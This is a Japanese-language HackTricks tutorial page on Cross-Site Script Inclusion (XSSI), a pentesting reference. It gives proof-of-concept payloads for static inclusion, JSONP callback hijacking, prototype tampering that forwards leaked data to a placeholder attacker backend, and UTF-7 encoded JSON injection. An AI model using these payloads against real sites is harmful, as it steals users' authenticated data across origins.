# XSSI (Cross-Site Script Inclusion)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}


## 基本情報

**クロスサイトスクリプトインクルージョン (XSSI)** は、HTMLの `script` タグの性質から生じる脆弱性です。ほとんどのリソースが **同一オリジンポリシー (SOP)** の対象であるのに対し、スクリプトは異なるドメインから含めることができます。この動作は、異なるサーバーにホストされているライブラリや他のリソースの使用を促進することを目的としていますが、同時に潜在的なセキュリティリスクも引き起こします。

### **XSSI** の主な特徴:
- **SOPのバイパス**: スクリプトは **同一オリジンポリシー** から免除されており、異なるドメイン間で含めることができます。
- **データの露出**: 攻撃者はこの動作を利用して、`script` タグを介して読み込まれたデータを読み取ることができます。
- **動的JavaScript/JSONPへの影響**: **XSSI** は特に動的JavaScriptや **JSON with Padding (JSONP)** に関連しています。これらの技術は、認証のために「環境権限」情報（クッキーなど）を使用することがよくあります。異なるホストへのスクリプトリクエストが行われると、これらの資格情報（例：クッキー）が自動的にリクエストに含まれます。
- **認証トークンの漏洩**: 攻撃者がユーザーのブラウザを騙して、自分が制御するサーバーからスクリプトをリクエストさせることができれば、これらのリクエストに含まれる機密情報にアクセスできる可能性があります。

### タイプ

1. **静的JavaScript** - これはXSSIの従来の形式を表します。
2. **認証付き静的JavaScript** - このタイプは、アクセスするために認証が必要であるため、特異です。
3. **動的JavaScript** - コンテンツを動的に生成するJavaScriptを含みます。
4. **非JavaScript** - JavaScriptを直接含まない脆弱性を指します。

**以下の情報は [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) の要約です**。詳細については確認してください。


### 通常のXSSI
このアプローチでは、プライベート情報がグローバルにアクセス可能なJavaScriptファイルに埋め込まれています。攻撃者は、ファイルの読み取り、キーワード検索、または正規表現などの方法を使用してこれらのファイルを特定できます。特定されたら、プライベート情報を含むスクリプトを悪意のあるコンテンツに含めることができ、機密データへの不正アクセスを可能にします。以下に例示される悪用技術があります:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI
これらのタイプのXSSI攻撃は、ユーザーのリクエストに応じて機密情報が動的にスクリプトに追加されることを含みます。検出は、クッキーありとなしでリクエストを送信し、レスポンスを比較することで行うことができます。情報が異なる場合、機密情報が存在する可能性を示すことがあります。このプロセスは、[DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp拡張機能のようなツールを使用して自動化できます。

機密データがグローバル変数に保存されている場合、通常のXSSIで使用されるのと同様の方法を使用して悪用することができます。ただし、機密データがJSONPレスポンスに含まれている場合、攻撃者はコールバック関数をハイジャックして情報を取得することができます。これは、グローバルオブジェクトを操作するか、JSONPレスポンスによって実行される関数を設定することで行うことができます。以下に示します:
```html
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```

```html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
グローバル名前空間に存在しない変数に対しては、*prototype tampering*が時々悪用されることがあります。この技術は、呼び出されたプロパティを見つけるためにプロトタイプチェーンをたどるコード解釈を含むJavaScriptの設計を利用します。`Array`の`slice`のような特定の関数をオーバーライドすることで、攻撃者は非グローバル変数にアクセスし、漏洩させることができます：
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
さらなる攻撃ベクターの詳細は、セキュリティ研究者 [Sebastian Lekies](https://twitter.com/slekies) の研究に見られ、彼は [ベクター](http://sebastian-lekies.de/leak/) のリストを維持しています。

### Non-Script-XSSI
寺田武の研究は、CSVなどのNon-Scriptファイルが`script`タグのソースとして含まれることによって、クロスオリジンで漏洩する別の形のXSSIを紹介しています。2006年のジェレミー・グロスマンによる完全なGoogleアドレス帳を読み取る攻撃や、2007年のジョー・ウォーカーによるJSONデータ漏洩など、XSSIの歴史的な事例は、これらの脅威の深刻さを浮き彫りにしています。さらに、ギャレス・ヘイズは、特定のブラウザで効果的なJSON形式を逃れるためにUTF-7エンコードされたJSONを使用してスクリプトを実行する攻撃のバリアントを説明しています。
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```

```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
{% hint style="success" %}
AWSハッキングを学び、実践する：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>HackTricksをサポートする</summary>

* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください！
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**

</details>
{% endhint %}